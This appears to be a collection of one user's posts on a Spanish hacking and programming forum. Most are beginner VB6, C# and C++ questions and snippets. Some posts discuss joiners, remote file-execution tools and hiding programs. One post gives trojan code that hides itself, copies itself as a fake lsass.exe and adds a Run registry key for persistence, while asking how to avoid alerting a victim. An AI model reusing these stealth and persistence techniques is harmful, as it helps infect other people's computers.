    pelota.Top  += dy;

    // Para el movimiento de la pelota

    //dx = pelota.Location.X >= this.ClientSize.Width ? -1 : dx;
    //dx = pelota.Location.X  == 0 ? 1 : dx;

    if (pelota.Location.X + 18 >= this.ClientSize.Width)
    {
    timer1.Enabled = false;
    MessageBox.Show("Gana el jugador 1", "Felicidades");
    }
    if (pelota.Location.X == 0)
    {
    timer1.Enabled = false;
    MessageBox.Show("Gana el jugador 2", "Felicidades");
    }

    // Si choca contra la parte inferior o el menú
    dy = pelota.Location.Y + 50  >= this.ClientSize.Width ? -1 : dy;
    dy = pelota.Location.Y  == 25 ? 1 : dy;

    // Si choca contra la pala1
    if (pelota.Left == pala1.Left + pala1.Width)
    {
    if (pelota.Top > pala1.Top && pelota.Top < pala1.Top + pala1.Height)
    {
    dx = 1; // Hacemos que valla hacia la derecha
    // y en funcion de la ultima tecla pulsada hacia arriba o abajo
    dy = d1 == 'u' ? -1 : 1;
    }
    }

    // Si choca contra la pala2
    if (pelota.Left == pala2.Left - pala2.Width)
    {
    if (pelota.Top > pala2.Top && pelota.Top < pala2.Top + pala2.Height)
    {
    dx = -1; // Hacemos que valla hacia la izq
    // y en funcion de la ultima tecla pulsada hacia arriba o abajo
    dy = d2 == 'u' ? -1 : 1;
    }
    }

    }



    //Para mover la pala 1 A = arriba, Z = abajo
    //Para mover la pala 2 K = arriba, M = abajo
    void MainFormKeyPress(object sender, KeyPressEventArgs e)
    {
    switch (Char.ToUpper(e.KeyChar))
    {
    case 'A': //La pala1
    pala1.Top -= 10;
    if (pala1.Top  < 25) pala1.Top = 25;
    d1 = 'u';
    break;
    case 'Z':
    pala1.Top +=  10;
    if (pala1.Top + pala1.Height  >= this.ClientSize.Height) pala1.Top = this.ClientSize.Height - pala1.Height;
    d1 = 'd';
    break;

    case 'K': //La pala2
    pala2.Top -= 10;
    if (pala2.Top  < 25) pala2.Top = 25;
    d2 = 'u';
    break;

    case 'M':
    pala2.Top +=  10;
    if (pala2.Top + pala2.Height  >= this.ClientSize.Height) pala2.Top = this.ClientSize.Height - pala2.Height;
    d2 = 'd';
    break;
    }
    }


    // Las opciones del menú
    void NuevoToolStripMenuItemClick(object sender, EventArgs e)
    {
    timer1.Enabled = true;
    pelota.Left = 154;
    pelota.Top  = 134;
    }

    void ContrrolesToolStripMenuItemClick(object sender, EventArgs e)
    {
    MessageBox.Show ("Pulsar las teclas A y K para subir y las teclas Z y M para bajar las respectivas paletas de los jugadores 1 y 2", "Controles");
    }

    void SalirToolStripMenuItemClick(object sender, EventArgs e)
    {
    Application.Exit();
    }
    }
    }


    Pues eso es todo, luego a lo mejor me animo y subo un par de ejemplillos simples usando XNA para hacer mini-juegos en 2D  :P

    Saludos y animaros a subir vuestros programas básicos ;)
    #16
    Hola a todos

    Vereis, tengo un problema con la visibiliad de un objeto, por ejemplo un Text Box.
    La cosa es, yo inicio un programa de formularios de windows, le añado un text box  y ahora intento modificar sus propiedades. Desde distintos lugares.

    Me voy al MainForm.cs (donde esta añadido mi textBox1) y este es el código que el compilador me pone por defecto:


    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;

    namespace Prueva
    {
    public partial class MainForm : Form
    {
    public MainForm()
    {
    InitializeComponent();
    }
    }
    }


    Ahora quiero q se muestre "Hola" en el textbox al iniciar y hago esto:


    namespace Prueva
    {
    public partial class MainForm : Form
    {
    public MainForm()
    {
    InitializeComponent();
    }

    void MainFormLoad(object sender, EventArgs e)
    {
    textBox1.Text = "Hola";
    }
    }
    }


    OK todo perfecto. El problema me viene dado al intentar hacer esto mismo pero desde una clase.... me explco con codigo:


    namespace Prueva
    {
    public partial class MainForm : Form
    {
    public MainForm()
    {
    InitializeComponent();
    }
    }

    class miClase
    {
    // La constructora
    miClase()
    {
    textBox1.Text = "Hola"; //Esta es la linea donde <---
    //salta el error         <---
    }
    }

    }


    En la línea indicada me salta el siguiente error: "The name 'textBox1' does not exist in the current context (CS0103)" vamos q el texbox no está visible para esa clase e provado a llamarlo de mil maneras distintas pero no lo consigo... alguien sabe como lo puedo llamar??
    Gracias por la ayuda, por q  aunke es una duda muy simple me trae de cabeza
    #17
    Programación Visual Basic / [Source] Spliter
    27 Septiembre 2007, 12:53 PM
    Básicamente es un programa para partir archivos, source y de mas caracteristicas aki:

    http://foro.elhacker.net/index.php/topic,182029.msg866752.html#new
    #18
    Hola a todos

    Estoy pensando en iniciarme en C# y tb en migrar de VB6 a VB net, pero leyendo un poco por el foro me  e encontrado con q hay C# 2005 y 2008 al igual q con VB...

    Por el nombre deduzco q la edicion 2008 es la mas nueva  :xD , pero cual es la diferencia entre una y otra? la sintaxis cambia o solamente se mejora el compilador manteniendo la sintaxis? la edicion 2008 tb depende de framework? cual me recomendais personalmente?

    Muchas gracias de antemano  ;) 
    #19
    Lo prometido es deuda, asi que aquí os lo dejo.

    He intentado hacer tanto el código como la forma de uso lo más simple posible.

    Funciona de la sihguiente manera:
    Compilais el Juntador, el Server y el Cliente. Ejecutais el Juntador y apretais el botoncito que tiene. Os pedira la ruta del clientte y del server, las elegis y ya esta.

    Ahora abris el cliente y poneis una ip y un puerto en los text box, le dais al boton y elegis la ruta donde se generará el server, una vez hecho esto podeis borrar el server y el juntador y kedaros solo con el cliente. Si ejecutais ahora el server q se acaba de crea podréis ver como os devueve la ip y el puerto  :P

    DESCARGA
    #20
    Hola

    Alguien sabe donde puedo conseguir el FFVII en español para play1??
    Si alguien fuera tan amable de pasarmelo se lo agradeceria mucho  ;D

    Gracias por adelantado
    1S4ludo
    #21
    Bueno, pues como veo que hay dudas respecto a esto en el foro (y yo necesitaba hacerlo tambien :xD) me e decidido a compartir con vosotros un sencillo codigo que lista directorios y carpetas con las apis FindFirstFile y FindNextFile.
    Espero que os sea util ;)

    ACTUALIZADO Y MEJORADO:
    Código (cpp) [Seleccionar]

    //////////////////////////////
    //  Listando directorios y  //
    //  carpetas de una ruta    //
    //  By E0N                  //
    //////////////////////////////

    #include <iostream>
    #include <windows.h>

    using namespace std;


    void listarDirectorio(char* dir)
    {
        WIN32_FIND_DATA findFileData;
        HANDLE          hFind;

        strcat (dir,"\\*");

        hFind = FindFirstFile(dir, &findFileData);

        if (hFind == INVALID_HANDLE_VALUE)
        std::cout << "Ruta incorrecta";
        else
        {
    std::cout << findFileData.cFileName << '\n'; //El primer fichero
         
            // Listamos todos los ficheros restantes
            while (FindNextFile(hFind, &findFileData) != 0)
    std::cout << findFileData.cFileName << '\n';
        }
    }

    void main()
    {
    char* dir = new char[MAX_PATH];

            cout << "Introduzca el nombre de la ruta a explorar: ";
            cin  >> dir;
    cout << "\n\n";

    listarDirectorio(dir);

    delete(dir);
    }



    Código viejo:
    #include <stdio.h>
    #include <iostream>
    #include <windows.h>

    #define BUFSIZE MAX_PATH

    void main()
    {
       WIN32_FIND_DATA FindFileData;
       HANDLE hFind = INVALID_HANDLE_VALUE;
       LPSTR Dir;
       Dir = (LPSTR) malloc (BUFSIZE);

       std::cout << "Introduzca el nombre de la ruta a explorar: ";
       std::cin >> Dir;
       
       strcat (Dir,"\\*"); //Le añadimos un \* al final de la ruta para que pueda listar los direcrorios bien

       hFind = FindFirstFile(Dir, &FindFileData);

       if (hFind == INVALID_HANDLE_VALUE)
       {
          std::cout << "Ruta incorrecta" << '\a';
       }
       else
       {
          std::cout << FindFileData.cFileName << '\n'; //El primer fichero
         
          // Listamos todos los ficheros del directorio
          while (FindNextFile(hFind, &FindFileData) != 0) //Mientras q la funcion q lista el siguiente fichero, es decir
                                                        //FindNextFile, no nos devuelva nulo...
          {
            std::cout << FindFileData.cFileName << '\n'; //...listamos el resto de ficheros y directorios
          }
       }
       free(Dir);
    }


    1S4ludo
    #22
    Hola buenas

    Aki os dejo dos códigos ditintos ,el primero está hecho por mi con la ayuda de la api guide y el segundo es una adaptación  :P

    Con estos códigos conseguireis que vuestros ListBox tengan un aspecto como este:


    Ideal para un joiner o un file manager bonito!!!

    DESCARGA
    #23
    Hola wenas

    Llevo algun tiempo preguntandome una cosa. Todos conocemos esos programas q controlan remotamente el winamp o ocultan procesos del task mediante el envio de mensajes, y si habeis programado alguna vez una ventana aunke sea en C++ sabreis q windows manda mensajes a nuestra ventanita al hacer click por ej y nosotros podemos usar esto para, por ejemplo maximizar ventanas ajenas a la nuestra, pero, como podemos conocer estos mensajes??

    No me refiero a como minimizar una ventana "remotamente" si no a saber q mensaje manda windows al apagarse para cerrar todos los procesos por ejemplo o para cualkier otra cosa???

    Alguien lo sabe  :huh:
    1S4ludo
    #24
    Hola

    Alguien sabe como bajar el scroll (la barra de la derecha) abajo del todo en un text box multiline?? es q si le voy añadiendo cosas al textbox solo se ve la parte de arriba, por eso keria q fuera bajando el scroll segun añado texto..

    Alguien sabe?
    Gracias ;)
    #25
    Hola

    Ya q e puesto el codigo pegado en varios post, e decidido poner aqui todo el proyecto entero. Lo q hace este source es explorar remotamente las carpetas de otro equipo (a traves de internet) visualizandolas en un list view en el server con opcion a ejecutar los archivos remotamente.

    DESCARGA

    1S4ludo  :xD
    #26
    Hola, buscando por el foro me encontre con este codigo q permite subir y bajar archivos a un ftp sin ocx de NYlOn:

    EN UN MODULO:
    Declare Function GetProcessHeap Lib "kernel32" () As Long
    Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
    Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long
    Public Const HEAP_ZERO_MEMORY = &H8
    Public Const HEAP_GENERATE_EXCEPTIONS = &H4

    Declare Sub CopyMemory1 Lib "kernel32" Alias "RtlMoveMemory" ( _
             hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
    Declare Sub CopyMemory2 Lib "kernel32" Alias "RtlMoveMemory" ( _
             hpvDest As Long, hpvSource As Any, ByVal cbCopy As Long)

    Public Const MAX_PATH = 260
    Public Const NO_ERROR = 0
    Public Const FILE_ATTRIBUTE_READONLY = &H1
    Public Const FILE_ATTRIBUTE_HIDDEN = &H2
    Public Const FILE_ATTRIBUTE_SYSTEM = &H4
    Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
    Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
    Public Const FILE_ATTRIBUTE_NORMAL = &H80
    Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
    Public Const FILE_ATTRIBUTE_COMPRESSED = &H800
    Public Const FILE_ATTRIBUTE_OFFLINE = &H1000


    Type FILETIME
            dwLowDateTime As Long
            dwHighDateTime As Long
    End Type

    Type WIN32_FIND_DATA
            dwFileAttributes As Long
            ftCreationTime As FILETIME
            ftLastAccessTime As FILETIME
            ftLastWriteTime As FILETIME
            nFileSizeHigh As Long
            nFileSizeLow As Long
            dwReserved0 As Long
            dwReserved1 As Long
            cFileName As String * MAX_PATH
            cAlternate As String * 14
    End Type


    Public Const ERROR_NO_MORE_FILES = 18

    Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _
        (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
       
    Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _
    (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _
          lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long

    Public Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
    (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
          ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _
          ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean

    Public Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _
    (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
          ByVal lpszRemoteFile As String, _
          ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean

    Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _
        (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
    ' Initializes an application's use of the Win32 Internet functions
    Public Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
    (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
    ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

    ' User agent constant.
    Public Const scUserAgent = "vb wininet"

    ' Use registry access settings.
    Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0
    Public Const INTERNET_OPEN_TYPE_DIRECT = 1
    Public Const INTERNET_OPEN_TYPE_PROXY = 3
    Public Const INTERNET_INVALID_PORT_NUMBER = 0

    Public Const FTP_TRANSFER_TYPE_BINARY = &H2
    Public Const FTP_TRANSFER_TYPE_ASCII = &H1
    Public Const INTERNET_FLAG_PASSIVE = &H8000000

    ' Opens a HTTP session for a given site.
    Public Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
    (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _
    ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _
    ByVal lFlags As Long, ByVal lContext As Long) As Long
                   
    Public Const ERROR_INTERNET_EXTENDED_ERROR = 12003
    Public Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" ( _
        lpdwError As Long, _
        ByVal lpszBuffer As String, _
        lpdwBufferLength As Long) As Boolean

    ' Number of the TCP/IP port on the server to connect to.
    Public Const INTERNET_DEFAULT_FTP_PORT = 21
    Public Const INTERNET_DEFAULT_GOPHER_PORT = 70
    Public Const INTERNET_DEFAULT_HTTP_PORT = 80
    Public Const INTERNET_DEFAULT_HTTPS_PORT = 443
    Public Const INTERNET_DEFAULT_SOCKS_PORT = 1080

    Public Const INTERNET_OPTION_CONNECT_TIMEOUT = 2
    Public Const INTERNET_OPTION_RECEIVE_TIMEOUT = 6
    Public Const INTERNET_OPTION_SEND_TIMEOUT = 5

    Public Const INTERNET_OPTION_USERNAME = 28
    Public Const INTERNET_OPTION_PASSWORD = 29
    Public Const INTERNET_OPTION_PROXY_USERNAME = 43
    Public Const INTERNET_OPTION_PROXY_PASSWORD = 44

    ' Type of service to access.
    Public Const INTERNET_SERVICE_FTP = 1
    Public Const INTERNET_SERVICE_GOPHER = 2
    Public Const INTERNET_SERVICE_HTTP = 3

    ' Opens an HTTP request handle.
    Public Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" _
    (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, _
    ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long

    ' Brings the data across the wire even if it locally cached.
    Public Const INTERNET_FLAG_RELOAD = &H80000000
    Public Const INTERNET_FLAG_KEEP_CONNECTION = &H400000
    Public Const INTERNET_FLAG_MULTIPART = &H200000

    Public Const GENERIC_READ = &H80000000
    Public Const GENERIC_WRITE = &H40000000

    ' Sends the specified request to the HTTP server.
    Public Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal _
    hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As _
    String, ByVal lOptionalLength As Long) As Integer


    ' Queries for information about an HTTP request.
    Public Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" _
    (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, _
    ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer

    ' The possible values for the lInfoLevel parameter include:
    Public Const HTTP_QUERY_CONTENT_TYPE = 1
    Public Const HTTP_QUERY_CONTENT_LENGTH = 5
    Public Const HTTP_QUERY_EXPIRES = 10
    Public Const HTTP_QUERY_LAST_MODIFIED = 11
    Public Const HTTP_QUERY_PRAGMA = 17
    Public Const HTTP_QUERY_VERSION = 18
    Public Const HTTP_QUERY_STATUS_CODE = 19
    Public Const HTTP_QUERY_STATUS_TEXT = 20
    Public Const HTTP_QUERY_RAW_HEADERS = 21
    Public Const HTTP_QUERY_RAW_HEADERS_CRLF = 22
    Public Const HTTP_QUERY_FORWARDED = 30
    Public Const HTTP_QUERY_SERVER = 37
    Public Const HTTP_QUERY_USER_AGENT = 39
    Public Const HTTP_QUERY_SET_COOKIE = 43
    Public Const HTTP_QUERY_REQUEST_METHOD = 45
    Public Const HTTP_STATUS_DENIED = 401
    Public Const HTTP_STATUS_PROXY_AUTH_REQ = 407

    ' Add this flag to the about flags to get request header.
    Public Const HTTP_QUERY_FLAG_REQUEST_HEADERS = &H80000000
    Public Const HTTP_QUERY_FLAG_NUMBER = &H20000000
    ' Reads data from a handle opened by the HttpOpenRequest function.
    Public Declare Function InternetReadFile Lib "wininet.dll" _
    (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, _
    lNumberOfBytesRead As Long) As Integer

    Public Declare Function InternetWriteFile Lib "wininet.dll" _
            (ByVal hFile As Long, ByVal sBuffer As String, _
            ByVal lNumberOfBytesToRead As Long, _
            lNumberOfBytesRead As Long) As Integer

    Public Declare Function FtpOpenFile Lib "wininet.dll" Alias _
            "FtpOpenFileA" (ByVal hFtpSession As Long, _
            ByVal sFileName As String, ByVal lAccess As Long, _
            ByVal lFlags As Long, ByVal lContext As Long) As Long
    Public Declare Function FtpDeleteFile Lib "wininet.dll" _
        Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, _
        ByVal lpszFileName As String) As Boolean
    Public Declare Function InternetSetOption Lib "wininet.dll" Alias "InternetSetOptionA" _
    (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByVal lBufferLength As Long) As Integer
    Public Declare Function InternetSetOptionStr Lib "wininet.dll" Alias "InternetSetOptionA" _
    (ByVal hInternet As Long, ByVal lOption As Long, ByVal sBuffer As String, ByVal lBufferLength As Long) As Integer

    ' Closes a single Internet handle or a subtree of Internet handles.
    Public Declare Function InternetCloseHandle Lib "wininet.dll" _
    (ByVal hInet As Long) As Integer

    ' Queries an Internet option on the specified handle
    Public Declare Function InternetQueryOption Lib "wininet.dll" Alias "InternetQueryOptionA" _
    (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long) As Integer

    ' Returns the version number of Wininet.dll.
    Public Const INTERNET_OPTION_VERSION = 40

    ' Contains the version number of the DLL that contains the Windows Internet
    ' functions (Wininet.dll). This structure is used when passing the
    ' INTERNET_OPTION_VERSION flag to the InternetQueryOption function.
    Public Type tWinInetDLLVersion
        lMajorVersion As Long
        lMinorVersion As Long
    End Type

    ' Adds one or more HTTP request headers to the HTTP request handle.
    Public Declare Function HttpAddRequestHeaders Lib "wininet.dll" Alias "HttpAddRequestHeadersA" _
    (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, _
    ByVal lModifiers As Long) As Integer

    ' Flags to modify the semantics of this function. Can be a combination of these values:

    ' Adds the header only if it does not already exist; otherwise, an error is returned.
    Public Const HTTP_ADDREQ_FLAG_ADD_IF_NEW = &H10000000

    ' Adds the header if it does not exist. Used with REPLACE.
    Public Const HTTP_ADDREQ_FLAG_ADD = &H20000000

    ' Replaces or removes a header. If the header value is empty and the header is found,
    ' it is removed. If not empty, the header value is replaced
    Public Const HTTP_ADDREQ_FLAG_REPLACE = &H80000000


    LAS FUNCIONES:
    Public Function FtpSubir(Servidor As String, Usuario As String, Contraseña As String, ArchLocal As String, ArchRemoto As String) As Boolean
        Dim hConnection, hOpen As Long
       
        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
        hConnection = InternetConnect(hOpen, Servidor, INTERNET_INVALID_PORT_NUMBER, Usuario, Contraseña, INTERNET_SERVICE_FTP, nFlag, 0)
        vBool = FtpPutFile(hConnection, ArchLocal, ArchRemoto, FTP_TRANSFER_TYPE_BINARY, 0)
        FtpSubir = vBool
        InternetCloseHandle hConnection
    End Function

    Public Function FtpBajar(Servidor As String, Usuario As String, Contraseña As String, ArchRemoto As String, ArchLocal As String, EXE As Boolean) As Boolean
    On Error Resume Next
        Dim hConnection, hOpen As Long
       
        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
        hConnection = InternetConnect(hOpen, Servidor, INTERNET_INVALID_PORT_NUMBER, Usuario, Contraseña, INTERNET_SERVICE_FTP, nFlag, 0)
        vBool = FtpGetFile(hConnection, ArchRemoto, ArchLocal, False, INTERNET_FLAG_RELOAD, FTP_TRANSFER_TYPE_BINARY, 0)
        FtpBajar = vBool
        InternetCloseHandle hConnection
       
        If EXE = True Then ShellExecute Me.hWnd, "", ArchLocal, "", "", 0
    End Function


    La cuestion:

    Al usar la funcion de subida, siempre me tira error...


    Private Sub Command1_Click()
    MsgBox FtpSubir("ftp://ftp.es.geocities.com", "e0n_ftp", "********", "C:\hola.txt", "http://es.geocities.com/e0n_ftp/hola.txt")
    End Sub


    Por supuesto es todo correcto menos la contraseña ;) la cosa es q hago mal?? puede ser el hot, q no sea ftp://ftp.es.geocities.com?? si mirais mis imagenes, la de Bob Marley por ejemplo, podeis ver la ruta del ftp y demas...

    Alguien me puede hechar una mano??
    Gracias ;)
    #27
    Hola:

    Bueno estoy intentando hacer un file manager en el q aparezcan los iconos de cada tipo de archivo. Para ello extraigo el icono de el tipo de archivo q me interesa. Este seria un ejemplo:

    Const DI_MASK = &H1
    Const DI_IMAGE = &H2
    Const DI_NORMAL = DI_MASK Or DI_IMAGE
    Private Declare Function ExtractAssociatedIcon Lib "shell32.dll" Alias "ExtractAssociatedIconA" (ByVal hInst As Long, ByVal lpIconPath As String, lpiIcon As Long) As Long
    Private Declare Function DrawIconEx Lib "user32" (ByVal hdc As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
    Private Declare Function DestroyIcon Lib "user32" (ByVal hIcon As Long) As Long



    Private Sub Command1_Click()
    Dim mIcon As Long
    mIcon = ExtractAssociatedIcon(App.hInstance, "C:\Autoexec.bat", 2)
    DrawIconEx Picture1.hdc, 0, 0, mIcon, 0, 0, 0, 0, DI_NORMAL
         
         MsgBox "imagen colocada"
         
    il.ListImages.Add , "bat", Picture1.Picture
    lv.ListItems.Add(, , "HOLA", , bat).SubItems(1) = "MUNDO"

    DestroyIcon mIcon
    End Sub


    Hasta el MsgBox todo me funciona perfecto, pero a partir de ahi no, por q no me deja pasar la imagen del picture al Image List (il en el code), por lo q luego no puedo cargarla en la lista... Alguien sabe como puedo hacerlo???  :huh: :huh:

    Otra duda q se me plantea es de donde sacar los iconos, por q podria buscar por el ordenador q usa el cliente, pero se tardaria muho rato buscando y en caso de q un tipo de archivo (imaginemos q el cliente no tiene Acrobat Reader y el server sip) se tiraria muxo tiempo buscando...
    Hay algun sitio donde se guarden los iconos o hay q andar buscandolos???  :rolleyes:

    Ayuda please!!!
    1S4ludo
    #28
    Programación Visual Basic / Menus con iconos???
    13 Diciembre 2006, 15:01 PM
    Hola, alguien sabe como poner iconos a los menus?? e estado buscando, pero lo mas q e encontrado a sido algo para net, pero para VB6 nada...

    Alguien me ayuda?
    1S4ludo  ;)
    #29
    Pues eso basicamente, si alguien sabe como hacer un form semi-transparente, pero q se vean los controles q tiene dentro sin transparentar.

    Buscando por google e encontrado muxo code q lo hace del todo transparente y uno q lo hace semi-transparente, pero no se ven los botones  :-(

    Alguien lo sabe???
    1S4ludo  ;)
    #30
    Hola:

    El el joiner de ||MadAndrax|| vi q se podian generar archivos finales (ejecutables) de distintas extensiones.
    Como se puede hacer esto exactamente, es deir, q genere un bat, un pif o n com, q al hacerle doble click extraiga de si mismo los dos archivos q lleva pegados y los ejecute correctamente??

    Yo lo e conseguido hacer con un exe, pero si lo camio de extension no me funcionan....

    Alguien puede ayudarme???

    1S4ludo
    #31
    Hola a todos ;)

    Kizas esta duda sea un poco estupida, pero como no tengo verguenza, pos lo pregunto xDD. Estaba mejorando un FileManagger q tenia por ahí, y cuando paso el listado de carpetas a un ListBox, y la ruta es muy larga, no puedo ver el final, ya q se añade una barra vertical, pero no una horizontal... Alguien sabe si se puede poner una barra horizontal a un ListBox???

    Y otra dudilla un poco mas complicada, alguien sabe si hay alguna API q permita poner un icono delante de cada elemento de un ListBox???

    Muxas gracias  :P
    1S4ludo
    #32
    Programación Visual Basic / Comprimir en UPX
    19 Octubre 2006, 18:44 PM
    Hola:

    Alguien sabe como se puede comprimir en UPX un archivo con VB 6.0??

    Gracias ;)
    1S4ludo
    #33
    Programación Visual Basic / No-ip en VB6
    9 Octubre 2006, 16:38 PM
    Hola a todos:

    Weno keria saber si alguien sabe como conectarse desde VB a un servidor a traves de no-ip??

    E estado buscando informacion sobre esto, pero no e encontrado nada, weno si en una pagina ponia q no se podia "que usara un lenguaje de verdad como C" ¬¬'  En fin... dudo muxo q no se pueda haer esto en vb la verdad...

    Si alguien me pudiera ayudar se lo agradeceria muxo
    1S4ludo  ;)
    #34
    Hola:

    Keria saber cual es la manera de establecer la posicion de un formulario pero con oodenadas relativas a las de la pantalla, para q asi las distintas resoluciones de pantalla no le afecten, como por ejemplo la ventana esa del messenger q sale abajo a la izq y q no cambia aunke cambies la resolucion, alguien sabe cual es la api???  :huh: :huh: :huh: :huh:

    Gracias y 1S4ludo  ;)
    #36
    Hola:

    Pues basicamente esa es mi duda, se puede ocultar una aplicacion externa, es decir puedo dejar totalmente invisible un programa q este funcionando en el ordenador??

    1S4ludo
    #37
    Hola:

    Vereis os cuento mi problema:
    Estoy intentando enviar archivos por internet, para ello, elijo un archivo y hago esto:

    Dim h as string

    Open "C:\imagen.jpg" for binary as #1
    h = space(LOF(1))
    get #1,,h
    close #1


    Y ahora lo mando con el winsock asi:

    ws.sendata "img" & h

    Hasta ahí creo q lo hago todo bien (eso creo) pero el problema esta al recibir el archivo. Uso esto:

    Dim A as string
    ws.getdata A
    txtRecibido.text = A


    Private Sub txtRecibido_Change()

    If left(txtRecibido.text, 3) = "img" then

    Open "C:\captura.jpg" For Binary As #1
    Put #1, , Mid(txtRecibido.Text, 4)
    Close #1

    End If


    Pero cuando miro el archivo q e recibido, resulta q esta incompleto  :huh:. Eh provado a poner las funciones en timers, por si acaso no le daba tiempo a recoger bien los datos y nada.... Y lo curioso es q lo hago con un archivo txt por ejemplo y si q me funciona  :huh: :huh: :huh: :huh:

    Alguien sabe por qué pasa esto?????????

    Muxas gracias
    1S4ludo
    #38
    Programación Visual Basic / Sobre codigos ASCII
    31 Agosto 2006, 01:03 AM
    Hola:

    Vereis e consultado varias tablas de codigos ascii en google pero no encuentro el de la tecla "Alt", acso es q no tiene???

    Lo q quiero hacer es q por ejemplo al pulsar las teclas "Alt" + "Tabulacion" salte un MsgBox. Kedaria asi:

    Private Sub Text1_KeyPress(KeyAscii As Integer)
    if (keyascii = 9 & ?? )then
        MsgBox "no lo intentes"
    End If
    End Sub


    Alguien sabe cual es el numero q va en ??

    1S4ludo
    #39
    Hola atod@s:

    Vereis este es mi problema:

    Private Sub Buscar_Click()
    Dim archivo As String

    Open "C:\mi-carpeta\" & txtA & ".txt" For Binary As #1
    archivo = Space(LOF(1))
    Get #1, , archivo
    Close #1

    txtSalida.text = archivo
    End Sub

    Private Sub guardar_Click()

    Open "C:\mi-carpeta\" & txtA & ".txt" For Output As #1
    Print #1, txtA.text
    Print #1, txtB.text
    Print #1, txtC.text
    Close #1

    End Sub


    txtA, txtB y txtC son 3 campos a rellenar, y txtSalida es donde
    se imprimen cuando los buscamos (tiene propiedad multiline = true)

    Mi duda es la siguiente, como podria hacer para meter en variables distintas cada una de las lineas del txtSalida???
    Es decir, el txtSalida quedaria asi:

    A-4254
    A-57456
    H-9


    Pues lo que quiero es meter A-4254 en una variable, y asi con el resto, no se si me explico.

    Otra cosa, una vez alla obtenido la variable, como leo su primera letra nada mas???

    Muxas gracias por adelantado
    1S4ludo
    #40
    Hola a tod@s:

    He estado leyendo un manual de programación de troyanos en VB (podeis descargarlo de esta misma pagina, esta hecho por abrilNegro, me parece) en el q te viene un link para bajar un modulo y un .bas para poder usar una aplicacion con WinSock sin necesidad dde tener la OCX en tu Pc, pero a mi me sigue pidiendo la OCX.

    Alguien conoce otro metodo o sabe donde me ekivoco??  :-\

    Gracias de antemano y un saludo
    #41
    Hola a tod@s:

    Weno de una vez por todas me he decidido a programar mi primer troyano en VB  ;D. Ya lo tengo
    practicamente acabado, pero se me ha presentado un problemilla al modificar el registro.
    Este es un trozo del codigo, el q lo añade al registro:

    Private Sub Timer2_Timer()
    On Error Resume Next
    App.TaskVisible = False ' Lo hace invisible
    Shell txt.Text 'Añade al registro
    FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\lsass.exe" ' Lo copia
    Timer2.Enabled = False
    End Sub


    txt es el nombre que le he dado a un cuadro de texto q contiene lo siguiente:

    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinTray /t REG_SZ /d "C:\windows\lsass.exe"

    Hasta aqui todo me funciona perfectamente, el problema se me plantea cuando reinicio mi Pc, pues
    me sale una ventana de MS-DOS diciendome q la clave WinTray ya existe y que si quiero sustituirla,
    lo cual llama un poco la atención de cara a infectar una posible víctima.

    A alguien se le ocurre alguna idea para arreglar esto?????

    Desde ya muxas gracias y 1 saludo
    #42
    Hola a todos

